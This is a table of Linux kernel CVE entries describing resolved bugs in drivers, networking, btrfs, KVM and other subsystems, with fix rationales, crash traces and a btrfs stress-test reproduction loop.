| CVE-2026-53281 | In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Avoid NULL pointer dereference or refcount corruption Commit 60f030f7418d ("iommu/vt-d: Avoid use of NULL after WARN_ON_ONCE") fixed a NULL pointer dereference in an unlikely situation partly. If dev_pasid is not found in the dev_pasids list, it remains NULL. However, the teardown operations are executed unconditionally, this lead to a NULL pointer dereference or refcount corruption. If the domain was never attached to this IOMMU, info will be NULL, which would cause an immediate dereference when checking --info->refcnt. Even if info is not NULL, decrementing the refcount without having removed a valid PASID might unbalance the count. This could lead to premature dropping of the refcount to 0, potentially causing a use-after-free for the remaining active devices sharing the domain. Fix it by returning early if dev_pasid is NULL, before executing the teardown operations. Issue found by AI review and suggested by Kevin Tian. https://sashiko.dev/#/patchset/20260421031347.1408890-1-zhenzhong.duan%40intel.com |
| CVE-2026-53284 | In the Linux kernel, the following vulnerability has been resolved: btrfs: only release the dirty pages io tree after successful writes [WARNING] With extra warning on dirty extent buffers at umount (aka, the next patch in the series), test case generic/388 can trigger the following warning about dirty extent buffers at unmount time: BTRFS critical (device dm-2 state E): emergency shutdown BTRFS error (device dm-2 state E): error while writing out transaction: -30 BTRFS warning (device dm-2 state E): Skipping commit of aborted transaction. BTRFS error (device dm-2 state EA): Transaction 9 aborted (error -30) BTRFS: error (device dm-2 state EA) in cleanup_transaction:2068: errno=-30 Readonly filesystem BTRFS info (device dm-2 state EA): forced readonly BTRFS info (device dm-2 state EA): last unmount of filesystem 4fbf2e15-f941-49a0-bc7c-716315d2777c ------------[ cut here ]------------ WARNING: disk-io.c:3311 at invalidate_and_check_btree_folios+0xfd/0x1ca [btrfs], CPU#8: umount/914368 CPU: 8 UID: 0 PID: 914368 Comm: umount Tainted: G OE 7.1.0-rc1-custom+ #372 PREEMPT(full) 2de38db8d1deae71fde295430a0ff3ab98ccf596 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS unknown 02/02/2022 RIP: 0010:invalidate_and_check_btree_folios+0xfd/0x1ca [btrfs] Call Trace: <TASK> close_ctree+0x52e/0x574 [btrfs d2f0b1cd330d1287e7a9919d112eadfc0e914efd] generic_shutdown_super+0x89/0x1a0 kill_anon_super+0x16/0x40 btrfs_kill_super+0x16/0x20 [btrfs d2f0b1cd330d1287e7a9919d112eadfc0e914efd] deactivate_locked_super+0x2d/0xb0 cleanup_mnt+0xdc/0x140 task_work_run+0x5a/0xa0 exit_to_user_mode_loop+0x123/0x4b0 do_syscall_64+0x243/0x7c0 entry_SYSCALL_64_after_hwframe+0x4b/0x53 </TASK> ---[ end trace 0000000000000000 ]--- BTRFS warning (device dm-2 state EA): unable to release extent buffer 30539776 owner 9 gen 9 refs 2 flags 0x7 BTRFS warning (device dm-2 state EA): unable to release extent buffer 30621696 owner 257 gen 9 refs 2 flags 0x7 BTRFS warning (device dm-2 state EA): unable to release extent buffer 30638080 owner 258 gen 9 refs 2 flags 0x7 BTRFS warning (device dm-2 state EA): unable to release extent buffer 30654464 owner 7 gen 9 refs 2 flags 0x7 BTRFS warning (device dm-2 state EA): unable to release extent buffer 30703616 owner 2 gen 9 refs 2 flags 0x7 BTRFS warning (device dm-2 state EA): unable to release extent buffer 30720000 owner 10 gen 9 refs 2 flags 0x7 BTRFS warning (device dm-2 state EA): unable to release extent buffer 30736384 owner 4 gen 9 refs 2 flags 0x7 BTRFS warning (device dm-2 state EA): unable to release extent buffer 30752768 owner 11 gen 9 refs 2 flags 0x7 I'm using a stripped down version, which seems to trigger the warning more reliably: _fsstress_pid="" workload() { dmesg -C mkfs.btrfs -f -K $dev > /dev/null echo 1 > /sys/kernel/debug/clear_warn_once mount $dev $mnt $fsstress -w -n 1024 -p 4 -d $mnt & _fsstress_pid=$! sleep 0 $godown $mnt pkill --echo -PIPE fsstress > /dev/null wait $_fsstress_pid unset _fsstress_pid umount $mnt if dmesg | grep -q "WARNING"; then fail fi } for (( i = 0; i < $runtime; i++ )); do echo "=== $i/$runtime ===" workload done [CAUSE] Inside btrfs_write_and_wait_transaction(), we first try to write all dirty ebs, then wait for them to finish. After that we call btrfs_extent_io_tree_release() to free all extent states from dirty_pages io tree. However if we hit an error from btrfs_write_marked_extent(), then we still call btrfs_extent_io_tree_release() to clear that dirty_pages io tree, which may contain dirty records that we haven't yet submitted. Furthermore, the later transaction cleanup path will utilize that dirty_pages io tree to properly cleanup those dirty ebs, but since it's already empty, no dirty ebs are properly cleaned up, thus will later trigger the warnings inside invalidate_btree_folios(). ---truncated--- |
| CVE-2026-53285 | In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Wrap DCN32 phantom-plane allocation in DC_RUN_WITH_PREEMPTION_ENABLED [Why] dcn32_validate_bandwidth() wraps dcn32_internal_validate_bw() with DC_FP_START()/DC_FP_END(). In x86 non-RT, DC_FP_START takes fpregs_lock(), which disables local softirqs. The DML1 path through dcn32_enable_phantom_plane() calls kvzalloc() to allocate ~335 KiB for dc_plane_state. This triggers the vmalloc path, which calls BUG_ON(in_interrupt()) because it's invoked within the FPU-enabled (softirq disabled) region, leading to a kernel crash. [How] Wrap the dc_state_create_phantom_plane() call with the DC_RUN_WITH_PREEMPTION_ENABLED() macro to allow preemption during this memory allocation. (cherry picked from commit 885ccbef7b94a8b38f69c4211c679021aa27ad11) |
| CVE-2026-53292 | In the Linux kernel, the following vulnerability has been resolved: net: phonet: do not BUG_ON() in pn_socket_autobind() on failed bind syzbot reported a kernel BUG triggered from pn_socket_sendmsg() via pn_socket_autobind(): kernel BUG at net/phonet/socket.c:213! RIP: 0010:pn_socket_autobind net/phonet/socket.c:213 [inline] RIP: 0010:pn_socket_sendmsg+0x240/0x250 net/phonet/socket.c:421 Call Trace: sock_sendmsg_nosec+0x112/0x150 net/socket.c:797 __sock_sendmsg net/socket.c:812 [inline] __sys_sendto+0x402/0x590 net/socket.c:2280 ... pn_socket_autobind() calls pn_socket_bind() with port 0 and, on -EINVAL, assumes the socket was already bound and asserts that the port is non-zero: err = pn_socket_bind(sock, ..., sizeof(struct sockaddr_pn)); if (err != -EINVAL) return err; BUG_ON(!pn_port(pn_sk(sock->sk)->sobject)); return 0; /* socket was already bound */ However pn_socket_bind() also returns -EINVAL when sk->sk_state is not TCP_CLOSE, even when the socket has never been bound and pn_port() is still 0. In that case the BUG_ON() fires and panics the kernel from a user-triggerable path. Treat the "bind returned -EINVAL but pn_port() is still 0" case as a regular error and propagate -EINVAL to the caller instead of crashing. Existing callers already translate a non-zero return from pn_socket_autobind() into -ENOBUFS/-EAGAIN, so returning -EINVAL here only changes behaviour from panic to a normal errno. |
| CVE-2026-53297 | In the Linux kernel, the following vulnerability has been resolved: net: mana: Guard mana_remove against double invocation If PM resume fails (e.g., mana_attach() returns an error), mana_probe() calls mana_remove(), which tears down the device and sets gd->gdma_context = NULL and gd->driver_data = NULL. However, a failed resume callback does not automatically unbind the driver. When the device is eventually unbound, mana_remove() is invoked a second time. Without a NULL check, it dereferences gc->dev with gc == NULL, causing a kernel panic. Add an early return if gdma_context or driver_data is NULL so the second invocation is harmless. Move the dev = gc->dev assignment after the guard so it cannot dereference NULL. |
| CVE-2026-53313 | In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Avoid NULL dereference in dc_dmub_srv error paths In dc_dmub_srv_log_diagnostic_data() and dc_dmub_srv_enable_dpia_trace(). Both functions check: if (!dc_dmub_srv || !dc_dmub_srv->dmub) and then call DC_LOG_ERROR() inside that block. DC_LOG_ERROR() uses dc_dmub_srv->ctx internally. So if dc_dmub_srv is NULL, the logging itself can dereference a NULL pointer and cause a crash. Fix this by splitting the checks. First check if dc_dmub_srv is NULL and return immediately. Then check dc_dmub_srv->dmub and log the error only when dc_dmub_srv is valid. Fixes the below: ../display/dc/dc_dmub_srv.c:962 dc_dmub_srv_log_diagnostic_data() error: we previously assumed 'dc_dmub_srv' could be null (see line 961) ../display/dc/dc_dmub_srv.c:1167 dc_dmub_srv_enable_dpia_trace() error: we previously assumed 'dc_dmub_srv' could be null (see line 1166) |
| CVE-2026-53317 | In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7921: Place upper limit on station AID Any station configured with an AID over 20 causes a firmware crash. This situation occurred in our testing using an AP interface on 7922 hardware, with a modified hostapd, sourced from Mediatek's OpenWRT feeds. In stock hostapd, station AIDs begin counting at 1, and this configuration is prevented with an upper limit on associated stations. However, the modified hostapd began allocation at 65, which caused the firmware to crash. This fix does not allow these AIDs to work, but will prevent the firmware crash. This crash was only seen on IFTYPE_AP interfaces, and the fix does not appear to have an effect on IFTYPE_STATION behavior. |
| CVE-2026-53325 | In the Linux kernel, the following vulnerability has been resolved: agp/amd64: Fix broken error propagation in agp_amd64_probe() A NULL pointer dereference was observed in the AMD64 AGP driver when running in a virtualized environment (e.g. qemu/kvm) without a physical AMD northbridge. The crash occurs in amd64_fetch_size() when attempting to dereference the pointer returned by node_to_amd_nb(0). The root cause of this crash is broken error propagation in agp_amd64_probe(): When no AMD northbridges are found, cache_nbs() correctly returns -ENODEV. However, the probe function erroneously checks the return value against exactly -1, rather than < 0. As a result, the hardware absence error is masked, allowing the driver to improperly proceed with initialization. It eventually calls agp_add_bridge(), which invokes amd64_fetch_size(). Since the hardware does not exist, node_to_amd_nb(0) returns NULL, leading to a General Protection Fault (GPF) when accessing its ->misc member. Fix the issue by correcting the error check in agp_amd64_probe() to abort properly when cache_nbs() returns any negative error code. This prevents the driver from erroneously proceeding without hardware, thereby avoiding the subsequent NULL pointer dereference at its source. |
| CVE-2026-53327 | In the Linux kernel, the following vulnerability has been resolved: debugobjects: Do not fill_pool() if pi_blocked_on On RT enabled kernels, fill_pool() ends up calling rtlock_lock(), which asserts if current::pi_blocked_on is set, because a task can obviously only block on one lock as otherwise the priority inheritenace chain gets corrupted. Prevent this by expanding the conditional to take current::pi_blocked_on into account. |
| CVE-2026-53329 | In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Use krealloc_array() in dal_vector_reserve() [Why & How] dal_vector_reserve() computes the allocation size as "capacity * vector->struct_size" using uint32_t arithmetic, which can silently wrap to a small value on overflow. This would cause krealloc to return a smaller buffer than expected, leading to heap overflows on subsequent vector appends. Replace krealloc() with krealloc_array() which performs an internal overflow check and returns NULL on wrap, preventing the issue. (cherry picked from commit 37668568641ccc4cc1dbca4923d0a16609dd5707) |
| CVE-2026-53330 | In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Fix out-of-bounds read in dp_get_eq_aux_rd_interval() [Why & How] The aux_rd_interval array in struct dc_lttpr_caps is declared with MAX_REPEATER_CNT - 1 (7) elements, indexed 0..6. However, the offset parameter passed to dp_get_eq_aux_rd_interval() can be as large as MAX_REPEATER_CNT (8) when a sink reports 8 LTTPR repeaters via DPCD. This leads to an out-of-bounds read of aux_rd_interval[7] when offset is 8. Fix this by growing aux_rd_interval to MAX_REPEATER_CNT elements to accommodate the full range of valid repeater counts defined by the DP spec. (cherry picked from commit a55a458a8df37a65ffda5cf721d554a8f74f6b04) |
| CVE-2026-53331 | In the Linux kernel, the following vulnerability has been resolved: slimbus: qcom-ngd-ctrl: Avoid ABBA on tx_lock/ctrl->lock During the SSR/PDR down notification the tx_lock is taken with the intent to provide synchronization with active DMA transfers. But during this period qcom_slim_ngd_down() is invoked, which ends up in slim_report_absent(), which takes the slim_controller lock. In multiple other codepaths these two locks are taken in the opposite order (i.e. slim_controller then tx_lock). The result is a lockdep splat, and a possible deadlock: rprocctl/449 is trying to acquire lock: ffff00009793e620 (&ctrl->lock){+.+.}-{4:4}, at: slim_report_absent (drivers/slimbus/core.c:322) slimbus but task is already holding lock: ffff00009793fb50 (&ctrl->tx_lock){+.+.}-{4:4}, at: qcom_slim_ngd_ssr_pdr_notify (drivers/slimbus/qcom-ngd-ctrl.c:1475) slim_qcom_ngd_ctrl which lock already depends on the new lock. Possible unsafe locking scenario: CPU0 CPU1 ---- ---- lock(&ctrl->tx_lock); lock(&ctrl->lock); lock(&ctrl->tx_lock); lock(&ctrl->lock); The assumption is that the comment refers to the desire to not call qcom_slim_ngd_exit_dma() while we have an ongoing DMA TX transaction. But any such transaction is initiated and completed within a single qcom_slim_ngd_xfer_msg(). Prior to calling qcom_slim_ngd_exit_dma() the slim_controller is torn down, all child devices are notified that the slimbus is gone and the child devices are removed. Stop taking the tx_lock in qcom_slim_ngd_ssr_pdr_notify() to avoid the deadlock. |
| CVE-2026-53332 | In the Linux kernel, the following vulnerability has been resolved: slimbus: qcom-ngd-ctrl: Register callbacks after creating the ngd When the remoteproc starts in parallel with the NGD driver being probed, or the remoteproc is already up when the PDR lookup is being registered, or in the theoretical event that we get an interrupt from the hardware, these callbacks will operate on uninitialized data. This result in issues to boot the affected boards. One such example can be seen in the following fault, where qcom_slim_ngd_ssr_pdr_notify() schedules work on the NULL ngd_up_work. [ 21.858578] ------------[ cut here ]------------ [ 21.858745] WARNING: kernel/workqueue.c:2338 at __queue_work+0x5e0/0x790, CPU#2: kworker/2:2/116 ... [ 21.859251] Call trace: [ 21.859255] __queue_work+0x5e0/0x790 (P) [ 21.859265] queue_work_on+0x6c/0xf0 [ 21.859273] qcom_slim_ngd_ssr_pdr_notify+0x110/0x150 [slim_qcom_ngd_ctrl] [ 21.859304] qcom_slim_ngd_ssr_notify+0x24/0x40 [slim_qcom_ngd_ctrl] [ 21.859318] notifier_call_chain+0xa4/0x230 [ 21.859329] srcu_notifier_call_chain+0x64/0xb8 [ 21.859338] ssr_notify_start+0x40/0x78 [qcom_common] [ 21.859355] rproc_start+0x130/0x230 [ 21.859367] rproc_boot+0x3d4/0x518 ... Move the enablement of interrupts, and the registration of SSR and PDR until after the NGD device has been registered. This could be further refined by moving initialization to the control driver probe and by removing the platform driver model from the picture. |
| CVE-2026-53336 | In the Linux kernel, the following vulnerability has been resolved: nvmem: layouts: onie-tlv: fix hang on unknown types The EEPROM on my board has a vendor specific entry of type 0x41. When stumbling upon that, this driver hangs in an endless loop. Fix it by keep incrementing the offset on unknown entries, so the loop will eventually stop. |
| CVE-2026-53337 | In the Linux kernel, the following vulnerability has been resolved: net: bonding: fix NULL pointer dereference in bond_do_ioctl() In bond_do_ioctl(), slave_dev is obtained via __dev_get_by_name() which can return NULL if the requested interface name does not exist. However, the subsequent slave_dbg() call is placed before the NULL check: slave_dev = __dev_get_by_name(net, ifr->ifr_slave); slave_dbg(bond_dev, slave_dev, "slave_dev=%p:\n", slave_dev); //here if (!slave_dev) return -ENODEV; The slave_dbg() macro expands to netdev_dbg(bond_dev, "(slave %s): " fmt, (slave_dev)->name, ...) which unconditionally dereferences slave_dev->name before the NULL check is performed. This results in a NULL pointer dereference kernel oops when a user calls bonding ioctl (e.g. SIOCBONDENSLAVE, SIOCBONDRELEASE, etc.) with a non-existent slave interface name. This is reachable from userspace via the bonding ioctl interface with CAP_NET_ADMIN capability, making it a potential local denial-of-service vector. Fix by moving the slave_dbg() call after the NULL check. |
| CVE-2026-53339 | In the Linux kernel, the following vulnerability has been resolved: i2c: qcom-cci: Fix NULL pointer dereference in cci_remove() On all modern platforms Qualcomm CCI controller provides two I2C masters, and on particular boards only one I2C master may be initialized, and in such cases the device unbinding or driver removal causes a NULL pointer dereference, because cci_halt() is called for all two I2C masters, but a completion is initialized only for the single enabled master: % rmmod i2c-qcom-cci Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000 <snip> Call trace: __wait_for_common+0x194/0x1a8 (P) wait_for_completion_timeout+0x20/0x2c cci_remove+0xc4/0x138 [i2c_qcom_cci] platform_remove+0x20/0x30 device_remove+0x4c/0x80 device_release_driver_internal+0x1c8/0x224 driver_detach+0x50/0x98 bus_remove_driver+0x6c/0xbc driver_unregister+0x30/0x60 platform_driver_unregister+0x14/0x20 qcom_cci_driver_exit+0x18/0x1008 [i2c_qcom_cci] .... |
| CVE-2026-53343 | In the Linux kernel, the following vulnerability has been resolved: ARM: 9475/1: entry: use byte load for KASAN VMAP stack shadow Commit 44e9a3bb76e5 ("ARM: 9430/1: entry: Do a dummy read from VMAP shadow") added a dummy read from the KASAN VMAP stack shadow in __switch_to(). The read uses ldr, but the KASAN shadow address is byte-granular and is not guaranteed to be word aligned. ARMv5 faults unaligned word loads. With CONFIG_KASAN_VMALLOC and CONFIG_VMAP_STACK enabled, ARM926/VersatilePB crashes in __switch_to() with an alignment exception before reaching init. Use ldrb for the dummy shadow access. The code only needs to fault in the shadow mapping if the stack shadow is missing, so a byte load is sufficient and matches the granularity of KASAN shadow memory. |
| CVE-2026-53345 | In the Linux kernel, the following vulnerability has been resolved: KVM: Don't WARN if memory is dirtied without a vCPU when the VM is dying When marking a page dirty, complain about not having a running/loaded vCPU if and only if the VM is still alive, i.e. its refcount is non-zero. This will allow fixing a memory leak for x86 SEV-ES guests without hitting what is effectively a false positive on the WARN. For some SEV-ES VM-Exits, KVM keeps a writable mapping of a guest page across an exit to userspace, and typically unmaps the page on the next KVM_RUN. But if userspace never calls KVM_RUN after such an exit, then KVM needs to unmap the page when the vCPU is destroyed, which in turn triggers the WARN about not having a running vCPU. Alternatively, SEV-ES could temporarily load the vCPU to suppress the WARN, as is done in nested_vmx_free_vcpu() (but for completely unrelated reasons; suppressing WARN from nested_put_vmcs12_pages() is pure happenstance). But loading a vCPU during destruction is gross (ideally nVMX code would be cleaned up), risks complicating the SEV-ES code (KVM would need to ensure the temporarily load()+put() only runs when the vCPU isn't already loaded), and is ultimately pointless. The motivation for the WARN is to guard against KVM dirtying guest memory without pushing the corresponding GFN to the active vCPU's dirty ring, e.g. to ensure userspace doesn't miss a dirty page. But for the VM's refcount to reach zero, there can't be _any_ userspace mappings to the dirty ring, as mapping the dirty ring requires doing mmap() on the vCPU FD. I.e. if userspace had a valid mapping for the dirty ring, then the vCPU file and thus the owning VM would still be alive. And so since userspace can't possibly reach the dirty ring, whether or not KVM technically "misses" a push to the dirty ring is irrelevant. |
| CVE-2026-53347 | In the Linux kernel, the following vulnerability has been resolved: drm/virtio: Fix driver removal with disabled KMS DRM atomic and modesetting aren't initialized if virtio-gpu driver built with disabled KMS, leading to access of uninitialized data on driver removal/unbinding and crashing kernel. Fix it by skipping shutting down atomic core with unavailable KMS. |
| CVE-2026-53349 | In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack: destroy stale expectfn expectations on unregister NAT helpers such as nf_nat_h323 store a raw pointer to module text in exp->expectfn (e.g. ip_nat_q931_expect). nf_ct_helper_expectfn_unregister() only unlinks the callback descriptor and never walks the expectation table, so an expectation pending at module removal survives with a dangling exp->expectfn into freed module text. When the expected connection arrives, init_conntrack() invokes exp->expectfn(), now a stale pointer into the unloaded module. Reproduced on a KASAN build by loading the H.323 helpers, creating a Q.931 expectation, unloading nf_nat_h323, then connecting to the expected port: Oops: int3: 0000 [#1] SMP KASAN NOPTI RIP: 0010:0xffffffffa06102d1 init_conntrack.isra.0 (net/netfilter/nf_conntrack_core.c:1862) nf_conntrack_in (net/netfilter/nf_conntrack_core.c:2049) ipv4_conntrack_local (net/netfilter/nf_conntrack_proto.c:223) nf_hook_slow (net/netfilter/core.c:619) __ip_local_out (net/ipv4/ip_output.c:120) __tcp_transmit_skb (net/ipv4/tcp_output.c:1715) tcp_connect (net/ipv4/tcp_output.c:4374) tcp_v4_connect (net/ipv4/tcp_ipv4.c:345) __sys_connect (net/socket.c:2167) Modules linked in: nf_conntrack_h323 [last unloaded: nf_nat_h323] Reaching the dangling state requires CAP_SYS_MODULE in the initial user namespace to remove a NAT helper that still has live expectations, so this is a robustness fix; leaving an expectation pointing at freed text is wrong regardless. Add nf_ct_helper_expectfn_destroy(), which walks the expectation table and drops every expectation whose ->expectfn matches the descriptor being torn down. Call it from each NAT helper's exit path after the existing RCU grace period, so no expectation outlives the code it points at and no extra synchronize_rcu() is introduced. With the fix, the same reproducer runs to completion without the Oops. |
| CVE-2026-53350 | In the Linux kernel, the following vulnerability has been resolved: ASoC: wm_adsp: Fix NULL dereference when removing firmware controls In wm_adsp_control_remove() check that the priv pointer is not NULL before attempting to cleanup what it points to. When cs_dsp creates a control it calls wm_adsp_control_add_cb() so that wm_adsp can create its own private control data. There are two cases where private data is not created: 1. The control is a SYSTEM control, so an ALSA control is not created. 2. The codec driver has registered a control_add() callback that hides the control, so wm_adsp_control_add() is not called. When cs_dsp_remove destroys its control list it calls wm_adsp_control_remove() for each control. But wm_adsp_control_remove() was attempting to cleanup the private data pointed to by cs_ctl->priv without checking the pointer for NULL. |
| CVE-2026-53352 | In the Linux kernel, the following vulnerability has been resolved: signal: clear JOBCTL_PENDING_MASK for caller in zap_other_threads() When a multi-threaded process receives a stop signal (e.g., SIGSTOP), do_signal_stop() sets JOBCTL_STOP_PENDING and JOBCTL_STOP_CONSUME on all threads and sets signal->group_stop_count to the number of threads. If one of the threads concurrently calls execve(), de_thread() invokes zap_other_threads() to kill all other threads. zap_other_threads() aborts the pending group stop by resetting signal->group_stop_count to 0 and clears the JOBCTL_PENDING_MASK for all other threads. However, it fails to clear the job control flags for the calling thread. When execve() completes, the calling thread returns to user mode and checks for pending signals. Seeing the stale JOBCTL_STOP_PENDING flag, it calls do_signal_stop(), which invokes task_participate_group_stop(). Since JOBCTL_STOP_CONSUME is still set, it attempts to decrement the already-zero signal->group_stop_count, triggering a warning: sig->group_stop_count == 0 WARNING: CPU: 1 PID: 6475 at kernel/signal.c:373 task_participate_group_stop+0x215/0x2d0 Call Trace: <TASK> do_signal_stop+0x3be/0x5c0 kernel/signal.c:2619 get_signal+0xa8c/0x1330 kernel/signal.c:2884 arch_do_signal_or_restart+0xbc/0x840 arch/x86/kernel/signal.c:337 exit_to_user_mode_loop+0x8c/0x4d0 kernel/entry/common.c:98 do_syscall_64+0x33e/0xf80 arch/x86/entry/syscall_64.c:100 entry_SYSCALL_64_after_hwframe+0x77/0x7f </TASK> Fix this race condition by clearing the JOBCTL_PENDING_MASK for the calling thread in zap_other_threads(), ensuring it does not retain any stale job control state after the thread group is destroyed. This aligns with other functions that tear down a thread group and abort group stops, such as zap_process() and complete_signal(), which correctly clear these flags for all threads including the current one. |
| CVE-2026-53353 | In the Linux kernel, the following vulnerability has been resolved: hsr: Remove WARN_ONCE() in hsr_addr_is_self(). syzbot reported the warning [0] in hsr_addr_is_self(), whose assumption is simply wrong. hsr->self_node is cleared in hsr_del_self_node(), which is called from hsr_dellink(). Since dev->rtnl_link_ops->dellink() is called before unregister_netdevice_many(), there is a window when user can find the device but without hsr->self_node. Let's remove WARN_ONCE() in hsr_addr_is_self(). [0]: HSR: No self node WARNING: net/hsr/hsr_framereg.c:39 at hsr_addr_is_self+0x211/0x3f0 net/hsr/hsr_framereg.c:39, CPU#0: syz.4.16848/17220 Modules linked in: CPU: 0 UID: 0 PID: 17220 Comm: syz.4.16848 Tainted: G L syzkaller #0 PREEMPT_{RT,(full)} Tainted: [L]=SOFTLOCKUP Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/18/2026 RIP: 0010:hsr_addr_is_self+0x211/0x3f0 net/hsr/hsr_framereg.c:39 Code: 33 2f 41 0f b7 dd 89 ee 09 de 31 ff e8 c8 b4 c6 f6 09 dd 74 54 e8 0f b0 c6 f6 31 ed eb 53 e8 06 b0 c6 f6 48 8d 3d 2f 50 9c 04 <67> 48 0f b9 3a 31 ed eb 42 e8 c1 13 1f 00 89 c5 31 ff 89 c6 e8 96 RSP: 0018:ffffc900041c70e0 EFLAGS: 00010283 RAX: ffffffff8afdc6ca RBX: ffffffff8afdc4e6 RCX: 0000000000080000 RDX: ffffc90010493000 RSI: 0000000000000948 RDI: ffffffff8f9a1700 RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000 R10: ffffc900041c71e8 R11: fffff52000838e3f R12: dffffc0000000000 R13: ffff888041f9e3c0 R14: ffff888086ee3802 R15: 0000000000000000 FS: 00007f6fe985d6c0(0000) GS:ffff888126176000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f80bd437dac CR3: 0000000025096000 CR4: 00000000003526f0 DR0: ffffffffffffffff DR1: 00000000000001f8 DR2: 0000000000000002 DR3: ffffffffefffff15 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Call Trace: <TASK> check_local_dest net/hsr/hsr_forward.c:592 [inline] fill_frame_info net/hsr/hsr_forward.c:728 [inline] hsr_forward_skb+0xa11/0x2a80 net/hsr/hsr_forward.c:739 hsr_dev_xmit+0x253/0x370 net/hsr/hsr_device.c:236 __netdev_start_xmit include/linux/netdevice.h:5368 [inline] netdev_start_xmit include/linux/netdevice.h:5377 [inline] xmit_one net/core/dev.c:3888 [inline] dev_hard_start_xmit+0x2df/0x860 net/core/dev.c:3904 __dev_queue_xmit+0x1428/0x3900 net/core/dev.c:4870 neigh_output include/net/neighbour.h:556 [inline] ip_finish_output2+0xcec/0x10b0 net/ipv4/ip_output.c:237 ip_send_skb net/ipv4/ip_output.c:1510 [inline] ip_push_pending_frames+0x8b/0x110 net/ipv4/ip_output.c:1530 raw_sendmsg+0x1547/0x1a50 net/ipv4/raw.c:659 sock_sendmsg_nosec net/socket.c:787 [inline] __sock_sendmsg net/socket.c:802 [inline] ____sys_sendmsg+0x7da/0x9c0 net/socket.c:2698 ___sys_sendmsg+0x2a5/0x360 net/socket.c:2752 __sys_sendmsg net/socket.c:2784 [inline] __do_sys_sendmsg net/socket.c:2789 [inline] __se_sys_sendmsg net/socket.c:2787 [inline] __x64_sys_sendmsg+0x1c3/0x2a0 net/socket.c:2787 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f6feb62ce59 Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f6fe985d028 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f6feb8a6090 RCX: 00007f6feb62ce59 RDX: 0000000000000000 RSI: 0000200000000000 RDI: 0000000000000004 RBP: 00007f6feb6c2d6f R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 00007f6feb8a6128 R14: 00007f6feb8a6090 R15: 00007ffcf01cc488 </TASK> |
| CVE-2026-53354 | In the Linux kernel, the following vulnerability has been resolved: arm64: errata: Mitigate TLBI errata on various Arm CPUs A number of CPUs developed by Arm suffer from errata whereby a broadcast TLBI;DSB sequence may complete before the global observation of writes which are translated by an affected TLB entry. These errata ONLY affect the completion of memory accesses which have been translated by an invalidated TLB entry, and these errata DO NOT affect the actual invalidation of TLB entries. TLB entries are removed correctly. This issue has been assigned CVE ID CVE-2025-10263. To mitigate this issue, Arm recommends that software follows any affected TLBI;DSB sequence with an additional TLBI;DSB, which will ensure that all memory write effects affected by the first TLBI have been globally observed. The additional TLBI can use any operation that is broadcast to affected CPUs, and the additional DSB can use any option that is sufficient to complete the additional TLBI. The ARM64_WORKAROUND_REPEAT_TLBI workaround is sufficient to mitigate the issue. Enable this workaround for affected CPUs, and update the silicon errata documentation accordingly. Note that due to the manner in which Arm develops IP and tracks errata, some CPUs share a common erratum number. |
| CVE-2026-53355 | In the Linux kernel, the following vulnerability has been resolved: net: rds: clear i_sends on setup unwind The RDS IB connection teardown path is written so it can run during partial startup and on repeated shutdown attempts. It uses NULL pointers to distinguish resources that are still owned from resources that have already been released. When rds_ib_setup_qp() fails after allocating i_sends but before allocating i_recvs, the sends_out path frees i_sends without clearing the pointer. A later shutdown pass can still treat that stale pointer as a live send ring allocation. Clear i_sends after vfree() in the error unwind path so the existing shutdown logic continues to use the correct ownership state. |
| CVE-2026-53356 | In the Linux kernel, the following vulnerability has been resolved: drm/i915/gem: Fix phys BO pread/pwrite with offset sg_page() returns struct page pointer not (void *) so the scaling of pread/pwrite is wrong for phys BO and wrong parts of BO would be accessed if non-zero offset is used. Last impacted platform with overlay or cursor planes using phys mapping was Gen3/945G/Lakeport. (cherry picked from commit 3e49a2f85070b2fb672c1e0fdba281a4ea3aebe6) |
| CVE-2026-53358 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: use chan timer to close channels in cleanup_listen() l2cap_chan_close() removes the channel from conn->chan_l, which must be done under conn->lock. cleanup_listen() runs under the parent sk_lock, so acquiring conn->lock would invert the established conn->lock -> chan->lock -> sk_lock order. Instead of calling l2cap_chan_close() directly, schedule l2cap_chan_timeout with delay 0 to close the channel asynchronously. The timeout handler already acquires conn->lock and chan->lock in the correct order. The timer is only armed when chan->conn is still set: if it is already NULL, l2cap_conn_del() has already processed this channel (l2cap_chan_del + l2cap_sock_teardown_cb + l2cap_sock_close_cb), so there is nothing left to do. If l2cap_conn_del() races in after the timer is armed, __clear_chan_timer() inside l2cap_chan_del() cancels it; if the timer has already fired, the handler returns harmlessly because chan->conn was cleared. |
